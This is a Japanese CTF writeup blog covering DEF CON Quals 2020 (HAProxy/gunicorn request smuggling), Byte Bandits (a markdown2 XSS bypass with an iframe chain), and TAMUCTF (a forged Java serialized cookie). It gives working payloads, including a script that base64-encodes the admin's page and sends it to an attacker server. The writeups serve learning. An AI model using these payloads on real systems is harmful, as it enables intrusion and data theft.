こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

DEF CON CTF Qualifier 2020 Writeup - uploooadit

Question

https://uploooadit.oooverflow.io/

Files:
app.py 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
store.py dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0

ソースコードは以下のとおり。

app.py

import os
import re

from flask import Flask, abort, request

import store

GUID_RE = re.compile(
    r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"
)

app = Flask(__name__)
app.config["MAX_CONTENT_LENGTH"] = 512
filestore = store.S3Store()

# Uncomment the following line for simpler local testing of this service
# filestore = store.LocalStore()


@app.route("/files/", methods=["POST"])
def add_file():
    if request.headers.get("Content-Type") != "text/plain":
        abort(422)

    guid = request.headers.get("X-guid", "")
    if not GUID_RE.match(guid):
        abort(422)

    filestore.save(guid, request.data)
    return "", 201


@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
    if not GUID_RE.match(guid):
        abort(422)

    try:
        return filestore.read(guid), {"Content-Type": "text/plain"}
    except store.NotFound:
        abort(404)


@app.route("/", methods=["GET"])
def root():
    return "", 204

store.py

"""Provides two instances of a filestore.

There is not intended to be any vulnerability contained within this code. This file is provided to
make it easier to test locally without needing access to an S3 bucket.

-OOO

"""
import os

import boto3
import botocore


class NotFound(Exception):
    pass


class LocalStore:
    def __init__(self):
        import tempfile
        self.upload_directory = tempfile.mkdtemp()

    def read(self, key):
        filepath = os.path.join(self.upload_directory, key)

        try:
            with open(filepath, "rb") as fp:
                return fp.read()
        except FileNotFoundError:
            raise NotFound

    def save(self, key, data):
        with open(os.path.join(self.upload_directory, key), "wb") as fp:
            fp.write(data)


class S3Store:
    """Credentials grant access only to resource s3://BUCKET/* and only for:

    * GetObject
    * PutObject

    """

    def __init__(self):
        self.bucket = os.environ["BUCKET"]
        self.s3 = boto3.client("s3")

    def read(self, key):
        try:
            response = self.s3.get_object(Bucket=self.bucket, Key=key)
        except botocore.exceptions.ClientError as exception:
            if exception.response["HTTPStatusCode"] == 403:
                raise NotFound
            # No other exceptions encountered during testing
        return response["Body"].read()

    def save(self, key, data):
        self.s3.put_object(
            Body=data, Bucket=self.bucket, ContentType="text/plain", Key=key
        )

Solution

ソースコードを読むと、以下の機能を持つことがわかる。

  • /files/X-guidヘッダーを付けてPOSTすると、HTTPリクエストボディの内容をAWSのS3に保存
  • /files/<GUID>にGETすると、保存したデータを取得
  • デバッグ/開発者用にS3でなくローカルファイルで動作可能な機能もある

まずは適当なGUIDをセットしてPOSTしてみる。

$ curl https://uploooadit.oooverflow.io/files/ -H "Content-Type: text/plain" -H "X-guid: 14371510-af00-1211-3333-afed3109dade" -d "aaaaaaaa" -v
*   Trying 3.135.56.183:443...
* TCP_NODELAY set
* Connected to uploooadit.oooverflow.io (3.135.56.183) port 443 (#0)
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/certs/ca-certificates.crt
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=*.oooverflow.io
*  start date: May  9 00:00:00 2020 GMT
*  expire date: Jun  9 12:00:00 2021 GMT
*  subjectAltName: host "uploooadit.oooverflow.io" matched cert's "*.oooverflow.io"
*  issuer: C=US; O=Amazon; OU=Server CA 1B; CN=Amazon
*  SSL certificate verify ok.
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> User-Agent: curl/7.69.0-DEV
> Accept: */*
> Content-Type: text/plain
> X-guid: 14371510-af00-1211-3333-afed3109dade
> Content-Length: 8
> 
* upload completely sent off: 8 out of 8 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 201 CREATED
< Server: gunicorn/20.0.0
< Date: Sat, 16 May 2020 02:09:41 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< Via: haproxy
< X-Served-By: ip-10-0-0-112.us-east-2.compute.internal
< 
* Connection #0 to host uploooadit.oooverflow.io left intact

gunicornのバージョンが得られた。 また、haproxyが間にいることがわかる。

gunicornの更新履歴を確認する。
docs.gunicorn.org

fixed chunked encoding support to prevent any request smuggling

これがあやしい。以下の攻撃手法を使うと推測。
portswigger.net

この手法が使えれば、自分が決めたGUIDの領域に、他者のHTTPリクエストの内容を記録できそうだ。

Googleで専用のツールがあるか検索して、以下のリポジトリでsmuggler.pyというツールを発見する。
Transfer-EncodingとContent-Lengthに色々なパターンのデータをセットして、上記の脆弱性の有無を確認してくれる。
github.com

$ wget https://raw.githubusercontent.com/gwen001/pentest-tools/master/smuggler.py

$ python3 smuggler.py -u https://uploooadit.oooverflow.io/ -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=451       time=169        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:26:56 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=CL:TE1|vanilla        C=400       L=216       time=169        T=text/html     V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 5
Transfer-Encoding: chunked

1
Z
Q

<<<
>>>HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

<<<
(snip)

そのままでは成功しなかったが、haproxy 1.9.10であることがわかった。

もう少し調べてみると以下の記事を発見。
ミドルウェア、バージョンともに出題環境と一致している。
HAProxy HTTP request smuggling - nathandavison.com

上記の記事を見ながらツールを改造する。

  • ConnectionヘッダーにCloseをセットしない。
  • 攻撃データに、自分が決めたGUIDの領域(X-guidヘッダーでセット)へ他人のHTTPリクエストの内容を記録するPOSTリクエスト電文をセット。
  • POSTリクエスト後に、/files/にGETして、他人のHTTPリクエストの内容が記録できているか確認。
  • なお、Content-Lengthの390は、実行しながら調整した結果。最初は100くらいから試した。
$ cp -p smuggler.py smuggler_mod.py
$ diff smuggler.py smuggler_mod.py
57c57
<     'Connection': 'close',
---
>     # 'Connection': 'close',
66a67,81
> guid = "14371510-af00-1211-3333-afed3109dade"
> 
> body="""1
> A
> 0
> 
> POST /files/ HTTP/1.1
> Host: uploooadit.oooverflow.io
> Content-Type: text/plain
> X-guid: {}
> Content-Length: 390
> 
> hoge""".format(guid).replace("\n","\r\n")
> 
> 
68,71c83,87
<     {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
<     {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
<     {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
---
> #    {'name':'CL:TE1', 'Content-Length':5, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'CL:TE2', 'Content-Length':11, 'body':'1\r\nZ\r\nQ\r\n\r\n'},
> #    {'name':'TE:CL1', 'Content-Length':5, 'body':'0\r\n\r\n'},
> #    {'name':'TE:CL2', 'Content-Length':6, 'body':'0\r\n\r\nX'},
>     {'name':'EXPLORE', 'Content-Length':len(body), 'body':body},
631c647,652
< 
---
>             print("-------- requests start --------")
>             r = requests.get(
>                 "https://uploooadit.oooverflow.io/files/{}".format(guid)
>             )
>             print(r.text)
>             print("-------- requests end --------")

実行する。

$ python3 smuggler_mod.py -u https://uploooadit.oooverflow.io/ -m prefix1_11 -v 4

                                         _                             
         ___ _ __ ___  _   _  __ _  __ _| | ___ _ __       _ __  _   _ 
        / __| '_ ` _ \| | | |/ _` |/ _` | |/ _ \ '__|     | '_ \| | | |
        \__ \ | | | | | |_| | (_| | (_| | |  __/ |     _  | |_) | |_| |
        |___/_| |_| |_|\__,_|\__, |\__, |_|\___|_|    (_) | .__/ \__, |
                             |___/ |___/                  |_|    |___/ 

                        by @gwendallecoguic


[+] 0 hosts found: None
[+] 1 urls found: https://uploooadit.oooverflow.io/
[+] 1 path found: None
[+] options are -> threads:10, verbose:4
[+] 1 urls to test.
[+] testing...
https://uploooadit.oooverflow.io/       M=      C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:22:59 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-183.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
https://uploooadit.oooverflow.io/       M=EXPLORE|prefix1_11        C=405       L=432       time=162        T=text/html; charset=utf-8      V=-
>>>POST / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Transfer-Encoding: 
                   chunked

1
A
0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Type: text/plain
X-guid: 14371510-af00-1211-3333-afed3109dade
Content-Length: 390

hoge<<<
>>>HTTP/1.1 405 METHOD NOT ALLOWED
Server: gunicorn/20.0.0
Date: Sun, 17 May 2020 00:23:00 GMT
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Content-Length: 178
Via: haproxy
X-Served-By: ip-10-0-0-225.us-east-2.compute.internal

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
<<<
-------- requests start --------
hogePOST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 931ab38b-2a16-4074-a603-5295cb90ef39
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

-------- requests end --------

出題者が定期的にフラグ文字列をPOSTするリクエストを流していたようで、フラグゲット。

OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

Byte Bandits CTF 2020 Writeup - Notes App

Question

noob just created a secure app to write notes.

Show him how secure it really is!

https://notes.web.byteband.it/

f:id:graneed:20200412235507p:plain

Solution

調査

ソースコードが添付されている。

main.pyのみ、以下に転記する。

import os
from flask import Flask, render_template, request, flash, redirect
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
from flask_login import login_required, logout_user, current_user, login_user
import markdown2
import requests

from .models import User
from . import db, create_app, login_manager
from .visit_link import q, visit_url

app = create_app()

# configure login_manager {{{1 #
@login_manager.user_loader
def load_user(user_id):
    """Check if user is logged-in on every page load."""
    if user_id is not None:
        return User.query.get(user_id)
    return None


@login_manager.unauthorized_handler
def unauthorized():
    """Redirect unauthorized users to Login page."""
    flash('You must be logged in to view that page.')
    return redirect("/login")
# 1}}} #

# configure routes {{{1 #
@app.route("/")
def index():
    if current_user.is_authenticated:
        return redirect("/profile")
    return render_template("index.html")

@app.route("/register", methods = ["GET", "POST"])
def register():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.method == 'POST':
        # register user
        id = request.form.get('username')
        password = request.form.get('password')
        existing_user = User.query.filter_by(id = id).first()  # Check if user exists
        if existing_user is None:
            user = User(id = id)
            user.set_password(password)
            user.notes = ""
            db.session.add(user)
            db.session.commit()  # Create new user
            login_user(user)  # Log in as newly created user
            return redirect("/profile")
        flash('A user already exists with that name already exists.')
        return redirect("/register")
    return render_template("register.html")

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

@app.route("/visit_link", methods=["GET", "POST"])
def visit_link():
    if request.method == "POST":
        url = request.form.get("url")
        token = request.form.get("g-recaptcha-response")
        r = requests.post("https://www.google.com/recaptcha/api/siteverify", data = {
            'secret': os.environ.get('RECAPTCHA_SECRET'),
            'response': token
        })
        if r.json()['success']:
            job = q.enqueue(visit_url, url, result_ttl = 600)
            flash("Our admin will visit the url soon.")
            return render_template("visit_link.html", job_id = job.id)
        else:
            flash("Recaptcha verification failed")

    return render_template("visit_link.html")

@app.route("/status")
def status():
    job_id = request.args.get('job_id')
    job = q.fetch_job(job_id)
    status = job.get_status()
    return render_template("status.html", status = status)


@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", current_user = current_user)

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")


@app.route("/logout")
@login_required
def logout():
    logout_user()
    return redirect("/")
# 1}}} #

以下の機能を持つ。

  • /register ユーザ登録
  • /login ログイン
  • /visit_link 管理者へリンクを送信(その後、管理者がURLへアクセスする)
  • /status 管理者がURLへアクセスしたかどうか確認
  • /profile 自分のプロファイルを表示
  • /update_notes 自分のプロファイルを更新
  • /logout ログアウト

フラグは管理者のプロファイルに記録されている。
管理者にXSSを仕掛けた画面にアクセスせて、管理者のプロファイルを窃取する方法を考える。

XSS

プロファイルはマークダウン記法で投稿可能。
markdown2でHTMLに変換している。

@app.route("/update_notes", methods=["POST"])
@login_required
def update_notes():
    # markdown support!!
    current_user.notes = markdown2.markdown(request.form.get('notes'), safe_mode = True)
    db.session.commit()
    return redirect("/profile")

requirements.txtを確認すると、markdown2==2.3.8。最新版を使用している。 しかし、githubのissueを見ると、未修正のXSS脆弱性が残っていることがわかる。

github.com

<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>

自分のプロファイルに設定してみる。

f:id:graneed:20200413002256p:plain

アラート表示に成功。

これで管理者を自分のプロファイル画面へ誘導すれば、任意のスクリプトが実行できる。

プロファイル画面への誘導

@app.route("/profile")
@login_required
def profile():
    return render_template("profile.html", current_user = current_user)

/profileにアクセスすると、現在ログインしているユーザのプロファイルを表示する実装である。 当然だが、管理者に/profileへアクセスさせても、管理者が自身のプロファイル(フラグ)を表示するだけである。

ここで/loginのソースを確認する。

@app.route("/login", methods = ["GET", "POST"])
def login():
    if current_user.is_authenticated:
        return redirect("/profile")

    if request.args.get("username"):
        # register user
        id = request.args.get('username')
        password = request.args.get('password')
        user = User.query.filter_by(id = id).first()
        if user and user.check_password(password = password):
            login_user(user)
            return redirect("/profile")

        flash('Incorrect creds')
        return redirect("/login")
    return render_template("login.html")

GETでusernameとpasswordを受け付けており、ログイン後に/profileに自動遷移している。 よって、管理者に/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>へアクセスさせれば、攻撃者のプロファイル画面に誘導できる。ただし、ログイン状態で/loginにアクセスすると、再ログイン処理をせずに/profileに自動遷移するため、事前に/logoutへアクセスさせる必要がある。

exploit作成

管理者に、攻撃者のアカウントでログインさせた後では、管理者のプロファイルの画面を再表示できない。 よって、事前にiframeで管理者のプロファイル画面を表示させて、別のiframeでログアウトと攻撃者のアカウントへのログインをさせればよい。 そのようなHTMLを自サーバに用意する。

リクエストの順序が重要であるため、3秒間待つ。setTimeoutだとうまくいかなかったため、無理やりsleepさせる。

<html>
<head>
<script>
function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "https://notes.web.byteband.it/profile";
    var body = document.querySelector("body");
    body.appendChild(adminframe);

    sleep(3000);

    var logoutframe = document.createElement("iframe");
    logoutframe.src = "https://notes.web.byteband.it/logout";
    body.appendChild(logoutframe);

    sleep(3000);

    var loginframe = document.createElement("iframe");
    loginframe.src = "https://notes.web.byteband.it/login?username=<攻撃者のユーザ名>&password=<攻撃者のパスワード>";
    body.appendChild(loginframe);
}, false);
</script>
</head>
</html>

攻撃者のプロファイル画面には、管理者のプロファイル画面が表示されているadminframeのコンテンツを取得して、攻撃者のサーバに送るスクリプトを仕掛ける。親フレームのHTMLは攻撃者のドメインだが、参照先のadminframeフレームは出題サーバと同じドメインであるため、クロスドメインにはならない。

<http://g<!s://q?<!-<[<script>location.href='http://<myserver>?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>

準備ができたら、管理者に自サーバのHTMLのリンク先を送信する。

アクセスが来た。

?q=CgkJCjxkaXYgY2xhc3M9Imhlcm8gaXMtZnVsbGhlaWdodCBpcy1jZW50ZXJlZCBpcy12Y2VudGVyZWQgaXMtcHJpbWFyeSI Cgk8ZGl2IGNsYXNzPSJoZXJvLWhlYWQiPgoJCTxuYXYgY2xhc3M9Im5hdmJhciI CgkJCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI CgkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPgoJCQkJCTxhIGhyZWY9Ii8iIGNsYXNzPSJuYXZiYXItaXRlbSI CgkJCQkJCU15Tm90ZXMKCQkJCQk8L2E CgkJCQk8L2Rpdj4KCQkJCTxkaXYgY2xhc3M9Im5hdmJhci1tZW51Ij4KCQkJCQk8ZGl2IGNsYXNzPSJuYXZiYXItZW5kIj4KCQkJCQkJPHNwYW4gY2xhc3M9Im5hdmJhci1pdGVtIj4KCQkJCQkJCTxhIGhyZWY9Ii9sb2dvdXQiIGNsYXNzPSJidXR0b24gaXMtcHJpbWFyeSBpcy1pbnZlcnRlZCI CgkJCQkJCQkJPHNwYW4 TG9nb3V0PC9zcGFuPgoJCQkJCQkJPC9hPgoJCQkJCQk8L3NwYW4 CgkJCQkJPC9kaXY CgkJCQk8L2Rpdj4KCQkJPC9kaXY CgkJPC9uYXY Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9Imhlcm8tYm9keSBjb2x1bW5zIGlzLWNlbnRlcmVkIGhhcy10ZXh0LWNlbnRlcmVkIj4KCQk8ZGl2IGNsYXNzPSJjb2x1bW4gaXMtNCI CgkJCTxkaXYgY2xhc3M9InRpdGxlIj4KCQkJCUhvd2R5IGFkbWluIQoJCQk8L2Rpdj4KCQkJPCEtLSBzbyB0aGF0IHVzZXIgY2FuIHdyaXRlIGh0bWwgLS0 CgkJCTxwPglmbGFne2NoNDFuX3RIeV8zWHBsb2l0c190MF93MW59IDwvcD4KCQkJPGJyPgoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iL3VwZGF0ZV9ub3RlcyI CgkJCQk8dGV4dGFyZWEgY2xhc3M9InRleHRhcmVhIiBuYW1lPSJub3RlcyIgcGxhY2Vob2xkZXI9IldyaXRlIHNvbWV0aGluZyBoZXJlIj48L3RleHRhcmVhPgoJCQkJPGlucHV0IGNsYXNzPSJidXR0b24gaXMtZnVsbHdpZHRoIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIG5hbWU9IiI CgkJCTwvZm9ybT4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCgo8Zm9vdGVyIGNsYXNzPSJmb290ZXIiPgogIDxkaXYgY2xhc3M9ImNvbnRlbnQgaGFzLXRleHQtY2VudGVyZWQiPgogICAgPHA CiAgICAgIDxzdHJvbmc TXlOb3Rlczwvc3Ryb25nPiBieSBuMG9iLgogICAgPC9wPgogIDwvZGl2Pgo8L2Zvb3Rlcj4KCg==

BASE64デコードする。+がスペースになっているため戻しておく必要がある。

       
<div class="hero is-fullheight is-centered is-vcentered is-primary">
    <div class="hero-head">
        <nav class="navbar">
            <div class="container">
                <div class="navbar-brand">
                    <a href="/" class="navbar-item">
                        MyNotes
                    </a>
                </div>
                <div class="navbar-menu">
                    <div class="navbar-end">
                        <span class="navbar-item">
                            <a href="/logout" class="button is-primary is-inverted">
                                <span>Logout</span>
                            </a>
                        </span>
                    </div>
                </div>
            </div>
        </nav>
    </div>
    <div class="hero-body columns is-centered has-text-centered">
        <div class="column is-4">
            <div class="title">
                Howdy admin!
            </div>
            <!-- so that user can write html -->
            <p>   flag{ch41n_tHy_3Xploits_t0_w1n} </p>
            <br>
            <form method="post" action="/update_notes">
                <textarea class="textarea" name="notes" placeholder="Write something here"></textarea>
                <input class="button is-fullwidth" type="submit" value="Update" name="">
            </form>
        </div>
    </div>
</div>


<footer class="footer">
  <div class="content has-text-centered">
    <p>
      <strong>MyNotes</strong> by n0ob.
    </p>
  </div>
</footer>

フラグゲット。

flag{ch41n_tHy_3Xploits_t0_w1n}

TAMUCTF 2020 Writeup - Web + Misc

久しぶりのCTF。

TAMUCTF2020のWeb問題を全完したのでwriteupを書く。ついでにMISCも2問ほど。
手頃な難易度でした。

CREDITS

Question

Try testing out this new credit system that I just created!

http://credits.tamuctf.com/

Hint: Credit generation is rate limited. It is literally impossible to generate 2,000,000,000 credits within the CTF timeframe. Don't be that guy.

ログイン前
f:id:graneed:20200322171641p:plain

ログイン後
f:id:graneed:20200322171847p:plain

Solution

Generate credit!ボタンを押すと1クレジット増えるシステム。クレジットを増やしてFlagを購入できると勝ち。 リクエストを見ると、increment=1を送信している。2000000000に改ざんしてクレジットを一気に増やしてフラグを購入する。

gigem{serverside_53rv3r5163_SerVeRSide}

TOO_MANY_CREDITS_1

Question

Okay, fine, there's a lot of credit systems. We had to put that guy on break; seriously concerned about that dude.

Anywho. We've made an actually secure one now, with Java, not dirty JS this time. Give it a whack?

If you get two thousand million credits again, well, we'll just have to shut this program down.

http://toomanycredits.tamuctf.com

f:id:graneed:20200322172524p:plain

Solution

Get Moreボタンを押すと1クレジット増えるシステム。

Cookieに、Base64文字列がセットされており、押下ごとに変化する。

root@kali:~# curl -v http://toomanycredits.tamuctf.com/
*   Trying 34.208.211.186:80...
* TCP_NODELAY set
* Connected to toomanycredits.tamuctf.com (34.208.211.186) port 80 (#0)
> GET / HTTP/1.1
> Host: toomanycredits.tamuctf.com
> User-Agent: curl/7.69.0-DEV
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Fri, 20 Mar 2020 14:22:06 GMT
< Content-Type: text/html;charset=UTF-8
< Content-Length: 454
< Connection: keep-alive
< Set-Cookie: counter="H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA=="; Version=1; HttpOnly
< Content-Language: en-US
<
<!DOCTYPE HTML>

<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />

    <title>Java Credits</title>
</head>

<body>

<main role="main">

    <form>
        <h2>
            <span>You have 1 credits.</span>
            <span> You haven't won yet...</span>
        </h2>
        <button type="submit">Get More</button>
    </form>

</main>
</body>
</html>

デコードするとgzipで圧縮されたデータのようなので、それも展開すると、Javaシリアライズされたオブジェクトのようだ。

SerializationDumperで確認する。
github.com

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# echo -n H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAAIwCwY0JiUgAAAA== | base64 -d | gzip -d > 1credit.ser

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020# java -jar /opt/SerializationDumper/SerializationDumper.jar -r ./1credit.ser

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 45 - 0x00 2d
        Value - com.credits.credits.credits.model.CreditCount - 0x636f6d2e637265646974732e637265646974732e637265646974732e6d6f64656c2e437265646974436f756e74
      serialVersionUID - 0x32 09 db 12 14 09 24 47
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 1 - 0x00 01
      Fields
        0:
          Long - L - 0x4a
          fieldName
            Length - 5 - 0x00 05
            Value - value - 0x76616c7565
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 01
    classdata
      com.credits.credits.credits.model.CreditCount
        values
          value
            (long)1 - 0x00 00 00 00 00 00 00 01

同パッケージの同名クラスを作成して、多額のクレジットを持ったインスタンスを生成して、シリアライズする。
serialVersionUIDを合わせないと、サーバ側でデシリアライズ時に弾かれるので注意。

package com.credits.credits.credits.model;

import java.io.Serializable;
import java.math.*;

public class CreditCount implements Serializable {

    private static final long serialVersionUID = 3605653847378830407L;

    long value;
  
    public CreditCount(){
        this.value = Long.MAX_VALUE - 1;
    }
}

シリアライズするクラスは以下のとおり。

package com.credits.credits.credits.model;
 
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.FileNotFoundException;
import java.io.IOException;

public class SerializeTest {
    public static void main(String[] args) {
        try {
            ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("CreditCount.ser"));
            CreditCount creditCount = new CreditCount();
            o.writeObject(creditCount);
            o.close();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

コンパイルして、GZIP圧縮およびBASE64エンコードしてCookieにセットする。

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# javac com/credits/credits/credits/model/*.java

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# java com.credits.credits.credits.model.SerializeTest

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# gzip -c CreditCount.ser | base64 -w0
H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA

root@kali:/mnt/hgfs/CTF/Contest/TamuCTF2020/TOO_MANY_CREDITS# curl toomanycredits.tamuctf.com -b "counter=H4sICOMkd14AA0NyZWRpdENvdW50LnNlcgBb85aBtbiIQTc5P1cvuSg1JbOkGIPOzU9JzdFzBvOc80vzSow4bwuJcKq4MzEwejGwliXmlKZWFNT/B4N/AB/mH3VSAAAA"
<!DOCTYPE HTML>

<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />

    <title>Java Credits</title>
</head>

<body>

<main role="main">

    <form>
        <h2>
            <span>You have 9223372036854775807 credits.</span>
            <span> gigem{l0rdy_th15_1s_mAny_cr3d1ts}</span>
        </h2>
        <button type="submit">Get More</button>
    </form>

</main>
</body>
</html>
